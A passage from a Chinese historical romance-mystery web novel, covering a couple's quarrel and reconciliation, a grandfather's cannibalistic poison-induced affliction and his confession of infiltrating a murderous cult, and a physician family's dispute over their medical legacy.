慕容鸾音戳戳他的心窝,眼睛一酸落下泪来,“所以你本心也想把我关在你的胸膛之内吗?可我不愿意了,你要撑起萧氏尊荣,我也有传承家族医术的重任。爹爹病了,被人所辱,慕容氏被砸了招牌,现如今唯有我可以把脸面挣回来。倘若你执意要把我带回去,听从老公爷的命令囚禁我,那我只有……” 话落竟从袖中拔出一把短匕来,作势自刎。 萧远峥猛地攥住,顷刻间便有鲜红的血从他指缝中流出。 第62章 第062章撕碎伪装慕…… 慕容鸾音见他指缝流血,心上一疼,慌忙松手。 萧远峥将短匕掷于地,垂袖掩血手,猛地环住她腰身,撞向自己腰腹,低头衔住她唇瓣就强吻起来。 慕容鸾音呜咽着挣了两下就放弃了,把这一吻当做最后的诀别,缓缓抱住他,热烈的回应。 二人拥吻,一发不可收拾。她酥软如水,他硬挺如火。两身烧灼,似要融化在一起。 可一个吻怎么够,此时此刻,萧远峥迫切的想要她,急切的确认她是爱他的。 他抱她到拔步床上,紧搂着蹭弄她耳朵,哑声嘶语,“我该拿你怎么办?” 慕容鸾音缓缓睁眼,望着自己折枝山茶的床帐,身子虽被他揉弄的舒软,心却如同一面镜子,镜子里都是做过的一段段梦境,她也从这面镜子,把自己看的清清楚楚,也把他看的清清楚楚。 “我有个四全其美的法子。你我和离,我另嫁他人,从此不复相见。如此,我不必被你囚困于内宅,郁悔而终;如此,白玉京就不会认为我是你的软肋,我才真正安全了;如此,你没了弱点,就可以放开手脚与白玉京斗;如此,老公爷再也不用担心你会为我殉情,你们也可以祖慈孙孝。只要你肯……” “休想!”萧远峥再也听不下去,怒声打断,一双星眸早已猩红了,“慕容鸾音,你竟对我如此狠心?” 慕容鸾音抚着他的脸轻笑,“你曾经宁愿看着我在内宅中枯萎,也不愿意对我吐露一点爱意,生怕我得知了你爱我,以爱为名拿捏你,控制你,不是吗?” “我没有。阿音,你不能用梦里发生的事情套在我身上!” “好,不说梦境,就说昨日,昨日你没要求我为你牺牲自由吗?” 萧远峥蓦地喉头哽住。 慕容鸾音嗤笑道:“可是,只要你肯放手,我就不用牺牲自由,你也不用忤逆老公爷,我们都没有损失不是吗?” 此时此境,他们二人身子是紧贴在一起的,可萧远峥却觉得被万箭穿心,每一支箭都带走了他一点血肉,致使他的心空荡荡的。 “或许,你费尽心机谋我就是错的,你很应该把老公爷对你的教诲贯彻到底。女人而已,以你萧远峥今时今日的权势地位,你招招手,就有数不尽的美人甘心情愿爬上你的床榻。你放弃一朵山茶,便有百花等着你,你不亏的。” 萧远峥摩挲着她香软的红唇,眼神木木的,只想知道,从这张小嘴里还能吐出多少支利箭来扎穿他的心。 “还有吗?” 慕容鸾音愣了一下,“什么?” “你心里还有多少怨恨,今日一次性都说出来,我受得住,好过被你凌迟。” 慕容鸾音心口一堵,酸胀起来,泣声道:“你没听懂吗?我的意思是,只要你肯放手,老公爷就不会再罚你,你便不用再受皮肉之痛,你也不必夹在我和老公爷之间挣扎恐惧,你就解脱了,我也能重回正轨,安安稳稳做好慕容家这一代的金针继任者,你我这场婚姻之盟,本就是错的!” 彼时,萧远峥只觉得自己的心也痛的麻木了。 “阿音妹妹,从我压制不住心底的渴求,谋娶你那一刻起,就没什么对与错,我想要你,娶到了手,你愿意也好,不愿意也好,生要与我同衾,死要与我同穴。你尽可以用言语为箭,刺伤我,我心中越痛越是恨不得把你拆吃入腹,夜夜占有。” 话落,便是阵阵裂帛声。 他常年习武,手上茧子厚重,一时没控制住力道,慕容鸾音就哭着喊疼。他稍作清醒,吻她泪珠,如一只彻底撕碎伪装的疯蝶,揉花吮蜜,食之痴狂。 门外,金乌西坠。 慕容韫玉找到杏林院来,就见碧荷正在门槛上坐着,戴着小厮毡帽,穿一身青衣冻的瑟瑟发抖。 “碧荷,你怎么穿这一身,冻得这个样儿怎么不进屋里去?” 碧荷连忙站起来拦在前头,赔笑道:“大爷,这会儿世子爷和姑娘在屋里说话呢。” “说什么话,还要避着你?” 慕容韫玉此时满脑子想的都是慕容文博的病,没往别处想,绕过碧荷就要往院子里走。 碧荷一把拽出他的大袖,“大爷,府里老公爷似是不满咱们家姑娘,不许咱们家姑娘踏出国公府的大门,姑娘是哄着世子爷,扮成小厮才得以逃回家来,大爷且等等,等世子爷和姑娘在里头闹明白了,您再来。” 慕容韫玉将信将疑,“不可能吧,舅外祖一向疼爱阿音,怎么就忽然要禁阿音的足了?” “奴婢知道的也不多。还是等姑娘和世子爷完事了,让姑娘和您细说。” 慕容韫玉此时方隐隐明白过来,往紧闭的屋门看去一眼,两只手比划出一个勾缠在一起的动作。 碧荷顿时涨红脸,连忙解释道:“一开始真是商量事儿来着……” 慕容韫玉“啧”了一声,转身回去了。 不久后,就有一行仆妇走了来,有的抬着火盆和茶炉子,有的提着食盒和热水。 碧荷见状大喜,忙忙都接进了院子里。 不知不觉就到了月上柳梢时。 卧房里,拔步床内点了灯。 慕容鸾音的唇瓣被亲的红肿润泽,她揪着绣被盖在自己身上,眼睛红红的看着萧远峥,“我本想着和你做个彻底的了断,偏你又发疯欺负我。那是你祖父,不是我祖父,他姓萧,我姓慕容,他管不到我头上。我不管你想怎么样了,反正我不会回去,你被他上刑,我不会心疼你了,你自求多福。” 萧远峥不言语,摸向她的肚子。 慕容鸾音知道他在想什么,立马道:“倘若怀上了,就跟我姓慕容,我教他金针术,继承我慕容家的衣钵。反正我慕容家祖宗有规定,即便是外嫁女生的血脉,只要改姓慕容,就可以传承我家金针术。” “倘若真有了,便是我的嫡长子或嫡长女,岂能改姓。” “怎么不可能。只要我不跟你回府,老公爷很快就知道我们忤逆了他,谁知道他会做出什么来,不认我生的是他重孙子,也是可能的。他以前也那么抓挠自己的胳膊吗?昨日我就发现他把自己挠的一道道都是血檩子,仿佛一点都不知道疼。皮肤痒成他那个样子,是病到体表了,你留心一下。” “祖父重子嗣,他不会不认。”萧远峥把慕容鸾音搂到怀里,抚着她滑腻的脊背道:“你不许再提你那个‘四全其美’的法子。你想留在慕容家,就住些日子吧,祖父那里我会想到解决之法的。” 慕容鸾音贴向他胸膛,抚着他胸前烙痕,哽咽道:“若是让我发现,你又屈服于他,添了新烙痕,我真就与你一刀两断。你已经是堂堂宰辅了,你明知他有病,就该给他治,而不是还像少年时那样,屈服于他的淫威。” 萧远峥听了,心头酸涩饱胀,吻着她发顶,哑声应“好”。 是夜,月色如银,萧远峥留宿慕容家,未归国公府。 国公府,采篱园。 一大早,萧长生就让黑伯把他推到池塘边上,吵着要喂鱼。 这寒冬腊月的,水都结了冰。 但主子有命,黑彧不得不抱起大石头砸冰。 “咚咚”两声,冰面破了一个大窟窿,惊的躲在水下的锦鲤都苏醒过来。 萧长生看见活蹦乱跳的鱼,舔舔嘴,一把鱼食撒下去,数十条锦鲤都聚到池边争抢,水花四溅。 不知何时,萧远峥走进了园子,与他隔着池塘,一同观鱼。 “主子,世子爷回来了。” “看见了。” 于是,黑彧拍拍身上浮土退避一旁。 “峥儿啊,你是不是以为我坐轮椅了,就眼睛也瞎了,耳朵也聋了,国公府就以你这个世子爷为尊了?” “不 敢。”萧远峥躬身道:“祖父,我把阿音送回慕容家了,又把赵荆阎大忠指派给她做护卫,她在娘家和在府中一样安全。” “我昨日才说,不许她踏出府门一步,你当日就把她扮成小厮带了出去,还同她一起夜不归宿。从前竟觉得那丫头娇憨乖顺,我真是眼瞎了。来,你跟祖父说说,她到底跟你说了什么,就挑动的你忤逆我。” 萧远峥望着冰窟窿里那些争相抢夺食物的锦鲤,斟酌片刻才道:“祖父锻造的我,难道不知我的脾性?” 萧长生冷笑,蓦地把鱼食带碗全都砸给了鱼。 顿时,便有一条黑白花锦鲤被砸的翻了肚皮。 “你的确不是个耳根子软的,但同为男人,我知道枕边风的威力!我原本还对她有些祖孙之情,但现在,我恨不得抽她的筋扒她的皮!” 萧远峥缓缓抬眸,直视萧长生,“祖父病了。” 萧长生蓦地僵住,一瞬暴怒,“我没病!我好着呢。孽障,你休想让我被迫‘生病’,好借着这个由头把我关起来!我还是郧国公,你做不到一手遮天!” 萧远峥没想到他反应会这样激烈,心中生出异样来,顺势道:“昨日我瞧见您抓挠手臂,把手臂抓的都是血檩子,这是病到体表了,祖父不可讳疾忌医,不如让阿音给您诊诊脉?” 第63章 第063章只身入局“…… “从现在开始,慕容鸾音就是我的仇人!”萧长生颧骨赤红,眼神阴鸷,“但凡她到我跟前,我就活吃了她!” 此话一出,萧远峥既震惊又悲愤,“何至于此?” 萧长生喉头滚动,咽下一大口口水,眼神却在那一刹那间露出恐惧来,为防被萧远峥察觉,他慌忙看向池中锦鲤,大声怒喝,“我没病!我只是腿脚不便,多日没沐浴导致的瘙痒,仅此而已!看在你姑祖母的份上,我饶她一回,你快把她弄回府,我亲自看在眼皮子底下才放心。你与白玉京多次交锋,难道不知这邪教的恐怖之处吗?快去!若是晚了,说不得她吃一口甜糕都会中毒而死,就像你娘一样,馋嘴的贱妇,人家知道她喜食河豚脍,就弄个酒楼出来,打出鲜河豚的招牌,她自己就巴巴的去了,那一去就把命丢了,她死不足惜,那馋嘴贱妇竟把我用尽心血培养的继承人也带走了,我的璟儿啊——” 话到此处,萧长生仰面嚎哭。 萧远峥见他如此情状,想到父母之死,心头酸疼,陡生恐惧,他不能失去阿音妹妹。想到此处,蓦地攥紧拳头,背过身去,脱口就道:“我立马去把阿音带回来。” 话落,大步离去。 萧长生缓缓止住哭声,瞥着萧远峥走出园门,把袖子一撸,两手化爪就拼命抓挠起来,手臂、胸膛、脖颈,他只觉得浑身似有万蚁啃咬,痒的他恨不得把皮肉一口一口咬下来吃掉! 吃掉…… 萧长生看向聚集在脚边争食的鲜活锦鲤,弯腰伸爪,一把抓起一条就放在嘴里撕咬起来。 侍立在侧的黑彧瞳孔骤缩,惊在那里。 却说萧远峥踏出采篱园后,走出去十几步,脑海中蓦地想起慕容鸾音的质问: “你本心也想把我关在你的胸膛之内吗?可我不愿意了……” 萧远峥猛地闭上眼,不得不叩问本心,祖父已老,国公府早已在自己的控制之下,从始至终不只是祖父恐惧白玉京的无孔不入,也是他的恐惧,是他恐惧会像父亲一样,痛失挚爱,心碎而亡。可他不能死,撑起萧氏门楣,延续祖宗尊荣,是祖父自他幼时就凿刻到他心壁上的符咒,驱动的他一往无畏,步步登高。 可阿音不愿意顺从他了。 想到慕容鸾音决绝的神情,以及她试探性的那所谓“四全其美”的法子,只要一想到她躺在别人身下,洞房花烛的画面,他就心痛欲死。 休想!休想!那是他从小就圈定的妻子。 萧远峥蓦地睁开眼,一咬牙,转身又向采篱园走去。 走至柴门,向内望去,却见萧长生两手抓着一条锦鲤放在嘴上啃咬,锦鲤吃疼,鱼尾疯狂拍打他的脸,血水迸了他满脸。 “祖父!” 萧远峥急速奔至萧长生面前,一把夺下锦鲤,就见锦鲤的身子已经被吃掉了一个血窟窿。 “给我!给我!我浑身都痒,痒的想死!” 萧远峥岂能给他,连忙甩进了池塘。 萧长生仿佛疯了一般向池塘扑去。 萧远峥和黑伯慌忙拦住,把他死死按在轮椅上。 “黑伯,祖父这是怎么回事?” 黑彧张口结舌,看着萧长生死死瞪着他的狰狞表情,不敢开口。 “祖父,你真的病了,究竟是什么病?” 萧长生一点点舔掉嘴边的鱼血,稍稍缓解,喘着粗气,激动的道:“我知道了、我知道嘉懿太子得的是什么病了。不、不是病,是毒。” “原来、原来嘉懿太子当时承受的是这样的滋味,怪不得他会自戕。” 慢慢的,萧长生激动的情绪平复,面露死气。 萧远峥听了,面露震惊之色,“什么,嘉懿太子是自戕?” 就在这时萧长生再度面露狰狞痛苦之色,“峥儿、峥你让我吃两条活鱼,待我骨头缝不痒了,我都告诉你,我没时间了。” 萧远峥禁不住看向他敞露的胸膛,只见上面遍布血痕,每一道都似挖掉了一条血肉。 “黑伯,祖父身上这些都是他自己抓出来的?” “我、我也是才知道啊。”黑彧心疼的手足无措,忽的想到什么,震惊道:“您说夜里鸟叫吵的您睡不着,就放生了,不会是被您吃了吧?” “我要喝血,吃生肉,吃人肉!” 萧长生痒的受不了,浑身扭动,大喊大叫,哭嚎道:“黑彧,你救救我、救救我,让我吃。” 黑彧再也忍不住,跳进池塘就用衣摆兜了一兜的活鱼扔上岸,哀求道:“少主,您让主子吃吧。” 萧远峥慌忙松开萧长生,踉跄后退。 萧长生一下子从轮椅上摔下,趴在地上,逮住一条活蹦乱跳的鱼就大口大口啃食起来。 一边咀嚼,一边贪婪的吸吮流出来的血。 “黑伯,祖父以旧病复发为由,离府常居郊外道观,口头上说是闭关修道,谁也不见,可真相是什么?祖父已成这般模样,你还要隐瞒吗?” 黑彧站在冰窟窿里,猛地掬起冰水洗一把脸,心一横,就道:“主子心心念念就是找出白玉京,为璟少主报仇。可自从十一年前白玉京弄出了那许多事后,就销声匿迹。主子遍寻不得,就有些疯魔了。就在道观里供奉了一尊地藏王菩萨,日日念叨‘我不入地狱,谁入地狱’。” 说到此处,黑伯涕泗横流,再度掬水浇脸,强压着悲伤接着道:“偶然一回,碰见有乡里人往山上扔尸体,主子发现那些尸体都是女尸,被剖开了腹腔,取走了胎儿,主子暗中打听到了弥勒教,得知了弥勒教的教义,他就说,这教派如此邪性,万一和白玉京有关呢?就只身入局,随了一个独眼和尚去了,让我把守道观,唱空城计,怕我压服不住少主和老夫人,临行之前写了几分手书,还把国公印章留在了道观里,让我便宜行事。” 萧远峥蓦地道:“祖父发现的那些女尸是被扔进了一个坍塌的古墓里的吗?” 黑彧道:“我随主子缀在那些乡里人后面,亲眼看着他们抛尸,待得他们走后,我跳进洞穴大略看了看,似乎是个 古墓。” 萧远峥心想,发现剖腹女尸那座山,的确距离悬天观不远,竟是对上了。 忽的,萧远峥浑身僵硬,颤声追问,“你说,祖父随了一个独眼和尚去了?” “是。主子给自己起了一个道号,幽冥道人。” “还拄着一副铁拐是吗?” 黑彧诧异的看向萧远峥,“少主怎知?” 萧远峥缓缓跪地,双目猩红,“因为在西州,白玉京谋划围杀我时,有人向我递送纸条,向我示警,让我滚。祖父,这人是你吗?” 彼时,萧长生也不再伪装,瘸着腿爬上轮椅,一抹嘴上血迹,拢紧身上虎皮裘就道:“是我。我的时间不多了,没必要再瞒着你了。” “如此说来,您身上这邪病就是从弥勒教染上的?” 萧长生沉默了一会儿,嘶哑着嗓子道:“我收买了法藏,被他提携着入了教。如何能快速被信任,快速升上去呢,自然是与邪魔同流合污。于是,我通过残害孕妇,向教主朱梵山献上鲜活的九月胎,迅速被封为右护法。” 萧远峥顿时瞠目。 “至于我身上这邪病,是我骗得朱柄权的信任,他把我带入极乐圣境,迦楼罗王朱粲给我吃下了一粒长生丹,我迫切的想接近白玉京,找到仙主,屠杀之,这是我入地狱付出的代价,更是我残害了那么多孕妇胎儿该得的报应。” 萧远峥再也忍不住,落下泪来,“祖父……” “不必做小儿之态。我半截身子埋黄土了,我不入地狱,谁入地狱。”萧长生斜睨萧远峥,冷冷道:你只知道慕容青云收到了五色鹊来信,殊不知我才是第一个收到的。” 萧远峥震惊的无以复加,浑身冰冷。 “十一年前,春节,我收到五色鹊送来的纸条,让我谋害嘉懿太子,扶持鲁王为太子。我收到纸条的当日,就进宫求见陛下,陛下看后就重视起来,连忙布置人手保护太子,可就在收到纸条的第三日,嘉懿太子暴发出了‘疾病’,此病会让人浑身发痒,不是在皮肤,而是仿佛在骨头上,仿佛骨头缝里有万蚁啃咬,起初嘉懿太子喝兽禽之血,吃兽禽之肉可缓解,后来就不管用了,嘉懿太子发疯时就喊着要吃人。陛下疼爱嘉懿太子,就秘密下令把死囚弄进宫,嘉懿太子得知,于一个深夜,吞金而死。” “原来嘉懿太子不是暴病而亡……” “嘉懿太子是不想变成吃人的怪物,自戕而死。”萧长生取下指甲缝里塞着的鱼鳞,接着道:“就在嘉懿太子吞金自戕的当日,陛下失去理智,把生性愚钝的鲁王叫到跟前,一剑捅死。待得陛下回过神来,鲁王已经死透了,一日痛失二子,陛下悲痛欲绝,我劝陛下化悲痛为仇恨,把白玉京找出来碎尸万段。随后,白玉京又开始了。” 萧远峥木然道:“同年,正月十五阿音被掳,三月三姑祖父死在西州骏骨楼,腊月初八母亲死在关城鲸落楼,腊月十五,父亲心碎吐血而亡。” “是。”萧长生面露悲痛之色,“年头,我失去挚友,年尾,我失去爱子。我想为他们报仇,可白玉京这邪教,却从此销声匿迹,我日日夜夜被思念和仇恨折磨,时常在想,一切源头都在我,倘若、倘若我遵从了仙君法旨,是否他们都会活下来……” “即使再给祖父一次重新选择的机会,祖父也不会遵从那狗屁的仙君法旨。”萧远峥铿锵道。 “也许吧。”萧长生看向萧远峥,“嘉懿太子尚且被白玉京毒害,何况区区一个慕容鸾音,你果真能护她周全吗?她若是死了,你果真能长命百岁吗?你爹和你都是我养大的,没有人比我清楚,你们父子是多么相像。你难道要眼睁睁看着慕容鸾音步你娘的后尘吗?你知道怎样保全她,是不是?” 萧远峥不能回答,有鲜血从他攥紧的指缝中流出。 就在这时观棋找了来,甫一瞧见池塘边上满地锦鲤的尸体,而萧远峥垂头跪在萧长生面前,心里生畏,不敢吭声。 萧远峥却厉声道:“何事,快说!” 观棋慌忙跪地道:“大理寺、大理寺少卿孟大人来寻您,说是狱中有要犯出了问题,有些邪性,请您过去看看。” 萧远峥趁此机会,站起身就急匆匆大步离去。 萧长生咧嘴冷笑,瞥见地上那些仿佛被野兽恶鬼啃咬过的锦鲤,胃里翻涌,吃进去的生肉和鲜血一霎都呕了出来。 黑彧连忙爬上岸,却慌张无措,哭道:“主子,我该怎么帮您啊。” 萧长生摇头,喃喃自语,“我不能、不能变成一个吃人的怪物,绝不能。” 庆和大公主府,驸马杨虬修养之所,祈月楼。 彼时,杨虬望着空了的冰盘,打了个饱嗝,便起身走到梳妆台前,拿起梳子,开始梳理乱糟糟的头发。 一边梳头一边扬声对外面喊道:“打开窗户,我晒晒太阳。” 外头无人应答,但覆在窗户上的厚毡帘却被缓缓卷了起来,炽白的日光立时争先恐后爬上了杨虬的脸。当窗户也被打开,冷风也进来,与室内的暖气相撞,激的杨虬接连打了两个喷嚏。 他生得玉白俊秀,年轻时,是京中有名的美男子,有一年随着大公主参加宫里的除夕夜宴,被陛下笑评为仅次于慕容青云的美人。 如今年岁上来了,眼角也有了皱纹,但皮肤却比年轻时更白了。 杨虬望着镜子里的自己,咧嘴到耳根,痴痴的笑。 就在这时,一只鸟飞了进来,它的翅膀在逆光下闪烁着五彩的星芒,扑棱棱落在镜台上。 杨虬看着这鸟,颤着手解下了它腿上绑着的纸条。 一松绑,五色鸟就扑棱着翅膀飞走了。 这日午后,慕容文博清醒过来,就把慕容鸾音兄妹都叫到了跟前。 “坐。” 兄妹二人对视一眼,一个坐在慕容文博左下手位置第一把圈椅上,一个坐了右边的第一把圈椅。 何赛仙与慕容文博同坐一张罗汉床,虽是接受了他得痴呆病的事实,却仍旧愁眉不展。 “我昨日夜里清醒了一阵,就写了请求致仕的折子,一早就让管家送去了袁院使府上,请他替我转呈陛下。我这病,也见不得人了,若有慕名来求医的就说我得了手抖忘事的毛病,治不得病了。” 慕容韫玉连忙站起来道:“是。” “家中产业,你祖母原本就直接交到了你手上,我病不病都不影响,只是从今往后我们慕容家就是纯粹的药商了,一会儿你就去把大门上那块御赐的大匾摘下来吧,慕容氏医术后继无人,再挂那块‘神医圣手’的匾额就是欺世盗名。” 慕容鸾音嚯然站起,面带薄怒,“爹爹,我难道不姓慕容,我难道金针术没超过你吗?” “是又如何。”慕容文博直视慕容鸾音,板着脸道:“你真正独立给人看过病吗?还不是我和你娘带着你。” 慕容鸾音听了,腰肢挺直,微抬下巴,立时道:“在西州时,我在咱们家药铺坐镇,一个月来,粗略一算,我经手的病人也有四五十。” 慕容文博顿时哽了一下子,强硬道:“我已替你打算好了,从此后,你也不许再行医用针,你就乖乖做你的世子夫人去吧。” 慕容鸾音气笑了,深吸一口气,耐住性子,温声道:“爹爹为了培养我继承家传医术,可谓用尽心血,就这么白费了?代表慕容家家主的药兽佩被砸,脸面被踩踏,就这么算了?” 慕容文博垂下头,咬牙道:“你能 为了萧远峥荒废三年,再听爹爹一回话,彻底忘掉曾经所学,有何不可?!” 慕容鸾音一霎气红了眼,热泪滚滚落地。 慕容韫玉见状,登时气道:“爹,你从来都谨慎小心,一生除了行医问诊,家里其他事情一概不过问,现如今您得了病,索性妹妹的事情也别多管了,我们兄妹自会商量着来。” 慕容文博也落下泪来,怒道:“你们想怎么挽回脸面,难道要跑到大公主府门口,敲锣打鼓的喊叫,告诉世人,我慕容文博得了痴呆病,会尿失禁,变成傻子的痴呆病?!我不如一头撞死,再任由你们去!” 第64章 第064章娇宠着你兄…… 兄妹俩听了他这话,如何还能站得住,慌忙往地上跪去。 慕容韫玉攥着拳头道:“爹,是我说错话了,您别生气。” 慕容鸾音没言语,只是哭。 何赛仙看着自己一双儿女跪地认错,心里泛疼,当即冷笑道:“慕容老爷,您打算怎么安排我呢?当初我待字闺中时,想求娶我的也有十来个,里头既有世家公子,也有清贵进士,我因何选了你呢?” 慕容文博撇开脸,含混道:“还说这些做什么。” “阿音,你爹不答,你来说。” 慕容鸾音接过碧荷递来的帕子,擦干净眼泪就道:“阿娘说过好多回,之所以选爹为夫婿,首要原因就是仰慕慕容家的医术,嫁给爹算是志同道合,可以继续行医。” “正是如此。”何赛仙看着慕容文博冷笑连连,“你得了病,不能行医了,就强迫着不许阿音行医,难不成你还想强迫着,也不许我行医?我给你脸了是吧!” 何赛仙猛地一拍炕几,怒道:“仗着确诊了痴呆病,仗着我们都迁就着你,你就想上天啊!阿玉阿音碍于孝道不好说你,我却不怕你,你这病从何处来?还不是因着你嗜酒如命!现在你知道丢人现眼了,早干嘛去了。” 慕容鸾音怕何赛仙说重了,慕容文博真想不开去寻死,连忙起身,站到父母中间拦着,小声劝道:“阿娘,别说了。” “怎么,你怕他寻死是不是?”何赛仙冷笑,“放心,他惜命的很。” 何赛仙把慕容鸾音扒拉到一边去,接着道:“好些事儿我都没和你们说过,怕说了,有损他的父威。有段日子,他手抖的厉害,我实在生气就把他那些酒都砸了,他和我大闹一场,偷摸着到铺子里拿药酒喝,月底铺子掌柜来交账我才知道。慕容文博,你我夫妻这几十年,从没有为旁的事情红过脸,唯独在戒酒这件事上,你是死性不改,伤了我好几回心。今儿我偏要说,你得这个病,是你自己作死求来的!是你慕容文博砸了慕容家的招牌,是你慕容文博把自己的脸送到人家脚底下让人家踩的,你活该!” 慕容文博又羞又怒,耷拉着头,呼哧带喘。 “怎么,我说错你了?你不服?你恼怒?”何赛仙缓缓站起来,向门口走了两步,淡淡道:“既然我是仰慕你慕容家的医术才嫁进来的,现如今你要让阿玉摘下‘神医圣手’的御赐大匾,我还留在你家做什么,慕容文博,咱两个和离吧,从此老死不相往来。” 父子女三人顿时都慌了,兄妹俩慌忙又跪到何赛仙脚下,慕容韫玉拉住她的手,慕容鸾音抱住她的腿,仰起小脸哭道:“阿娘,何至于此。” 慕容文博涨红脸,抬手遮住脸就哭道:“你们只知道我胆小谨慎,难道我是生来就胆小吗?我父亲是慕容青云,我母亲是清河县主,我外祖父是初代郧国公,我外祖母可是丹阳大长公主啊,我年少时也是身份贵重,意气风发的少年郎。” 何赛仙听了,昂着头看向庭院虚空处,重重冷哼。 “仙娘,我只说两件事,你听了若还想和离,我成全便是。” 兄妹二人立时察觉到父母双方都需一个台阶下,对视一眼后,慕容鸾音连忙松开何赛仙的腿,起身就道:“阿娘,站着怪累的,咱们坐下听爹爹说。” 一边说着一边就把何赛仙搀扶到上面罗汉床上坐着。 慕容韫玉则是忙忙的使唤婢女们上新茶上点心果品。 少顷,一家四口都坐定了,慕容文博避无可避,就屏退左右,又嘱咐两句不可外传,这才开口说出来。 “其中一件事你们是知道的,七年前,谢淑妃和章贵妃利用七皇子八公主生病,作筏子争斗,我这个擅长小方脉的太医成了遭殃的池鱼,被从三品院使的位置上撸了下来,成了末等医官,我不多说。我要说的是另外一件事。我怕自己病到最后,糊涂了,再把这件事抖落出来,会给家里引来杀身之祸,所以,你们要防着我些。” 却原来在十一年前,正月里,那时慕容青云还在世,在一个大雪夜里,慕容青云把慕容文博叫醒,把他秘密带进了东宫,让他给嘉懿太子诊病。 嘉懿太子的表症是骨骼奇痒,周身浮肿; 脉象诊断是脾肾阳虚,经脉不畅; 那时的慕容文博,父母在世,有人撑腰,又自诩医术高超,便有些傲然自负,一番望闻问切之后,就大言不惭说,嘉懿太子的病家传医书上有过记载,药方都是现成的,里面需要用到一味有毒的药材,附子。他如实禀明陛下,还狂妄到问陛下,敢不敢冒险一试。 陛下一听现成的方子都有,又十分信重慕容氏的医术,当即就让慕容文博开方熬药。 慕容文博深知附子的毒性不好控制,怕放多了毒害了太子,就酌情减了五片。 他本以为这样就万无一失了,谁知,嘉懿太子喝了药,仅仅过了一盏茶的功夫就大口吐血,不但如此,反而比喝药之前还痒。 陛下看着痛不欲生的嘉懿太子,当场暴怒,是其父慕容青云和舅舅萧长生一同求情,才让慕容文博捡回一条命。 慕容文博至今只要一想起那个大雪夜在东宫的遭遇都心有余悸,浑身发冷。 何赛仙心疼的看着慕容文博,“我记得那个大雪夜,公公把你叫走后,我担心的一夜没睡,天蒙蒙亮你回来了,躺下就发了两日高烧,我问你发生了何事,你说没什么事,只是在路上撞客了。原来,你是经历了一回生死,你怎么连我也瞒着啊。” 慕容文博越过炕几把何赛仙的手抓到自己手心里握着,颤声道:“因为我听见了不该听的,我听见嘉懿太子疯了似的喊‘我要吃人’,而陛下满口子的答应,让舅舅去弄死囚进宫。陛下下令不许我和任何人说,枕边人也不行,父亲也警告我,只当做了一场噩梦。” 慕容鸾音白了脸,心里却不知怎的冒出一个想法来:骨骼奇痒,想吃人,这病的邪性之处,竟仿佛和白玉京有些相似。 慕容韫玉浑身冒汗,端起茶盏来就给自己灌了一口,饮毕就道:“只听闻嘉懿太子是暴病而亡,却原来还有这样一番隐情。” 慕容文博颤着手喝茶,缓了缓才看向慕容鸾音道:“乖宝,莫怪爹爹不许你再用针,而是怕你有了名声后,卷入险恶的争斗中。陛下近年来患有严重的头疾,我手不抖时都是我负责针灸止痛,我把自己手抖的事情禀明陛下之后,就换了袁院使,但他的针灸术是我教的,天赋有限,若是让陛下知道你继承了咱家的金针术,怕会找上你。伴君如伴虎的滋味,爹爹深知的,故此不愿意你去担惊受罪。” 慕容鸾音苦笑,“爹爹,我已在险恶漩涡之中。” 说完这句话,就看向慕容韫玉,“哥哥,爹爹今日既然把这么要命的秘密都说了出来,我们也把祖父的死,把白玉京的事情,都告诉爹娘吧。” “这些日子我也在琢磨这件事,祖父的死亡真相既已查明,爹娘本该知道。我来说吧。” 遂,慕容韫玉把事情从头到尾,详细的告诉了一遍。 何赛仙听后,浑身紧绷,震惊失语。 慕容文博先是呼吸急促,再是额上冒汗,双目呆滞。 慕容鸾音连忙走过去为其把脉,一上手便被那急促乱蹦的脉搏惊吓住了,“碧荷,快去取我的金针来。” 站在窗外听使唤的碧荷一听,立时答应一声,疾步小跑去取。 慕容韫玉也慌了,连忙上前查看,“爹,你别吓我啊。” “你是谁,在我家做什么?” 慕容鸾音一听,心头酸涩,但彼时摸着他的脉搏却是逐渐平缓了下来,便哽咽道:“这样也好。” 慕容韫玉看着这样的爹,心头五味杂陈,红着眼睛低喃,“连我也不认得了……” 何赛仙缓过神来,落泪道:“我得顾着你们爹,旁的我也不懂,也不想管,你们兄妹商量着办吧,我们两老不给你们拖后腿便是了。” 话落,起身搀扶慕容文博,哄着他到庭院里晒太阳去了。 慕容 鸾音跟了出去,在台阶上坐下。 慕容韫玉坐到她旁边,兄妹俩一块看着父母在日光下,一忽儿看花坛里金黄的腊梅,一忽儿逗弄挂在枝条上的鹦鹉,一忽儿又踏上游廊,携手漫步。 “哥哥瞒着我和萧远峥结盟,调查祖父之死,是为了不让我忧惧;爹爹不许我再行医用针,也是为了不让我担惊受罪;萧远峥也是,他想把我圈在国公府内,像保护心脏一样保护起来。但你们都不曾问过我,究竟愿不愿意。” “我们只是都想娇宠着你,把所有的风雪挡在外头,让你无忧无虑过一生。” 慕容鸾音心里酸胀刺痛,嗤笑了一声。 “我管你们呢。现在,我要想法子让庆和大公主敲锣打鼓为我们家送上一面妙手回春的金匾来,以及一块上好的墨玉,我要重新雕琢一块家主玉佩,带在我自己身上,哥哥,你没意见吧?” 慕容韫玉抠抠耳朵,含笑逗弄道:“是我耳朵坏了,还是你说梦话了?” 慕容鸾音噘嘴撒娇,“哥哥别小看我,听多了、看多了萧远峥抽丝剥茧的断案手法,我也学会一点皮毛,也没那么难,总结一句话就是知己知彼百战不殆而已。” 慕容韫玉心觉好笑,连忙做出个洗耳恭听的样子来。 “譬如庆和大公主砸咱家招牌这件事,首先肯定是因为爹爹忘事,先去了承恩伯府,慢待了人家。但我仔细想过一回,大公主府中午的时候派人去请的爹爹,可是到了黄昏才又找上门,中间隔了有两三个时辰吧,倘若是咱家晖哥儿、月姐儿腹泻腹痛,请的郎中迟迟不到,咱们坐得住吗,会让孩子们煎熬两三个时辰吗?” 慕容韫玉郑重起来,坐直身子道:“若是我,怕是会一刻钟派人催促一次,直到郎中进府为止,或是得知郎中去了别处后,急忙另找。绝不会从中午拖延到黄昏,眼睁睁看着孩子们被病痛折磨。” 慕容鸾音连忙点头,“对。对于庆和大公主,我只知道一些祖母教过的,说她是元后崔氏所生,同母弟就是薨逝的嘉懿太子,驸马姓杨,是陇西杨氏庶脉嫡子,叫杨虬。二人只生育了一子,叫杨惠风,杨惠风娶了华氏女,叫华云岚,是龙姐姐的姑表妹,这次患病的小儿,应当就是华云岚所生。故此,我打算先去找龙姐姐,向她打听打听华云岚,从华云岚入手,接近患儿,患儿被别的医者治好了是好事,若是还没治好,正是我大显身手之时。” 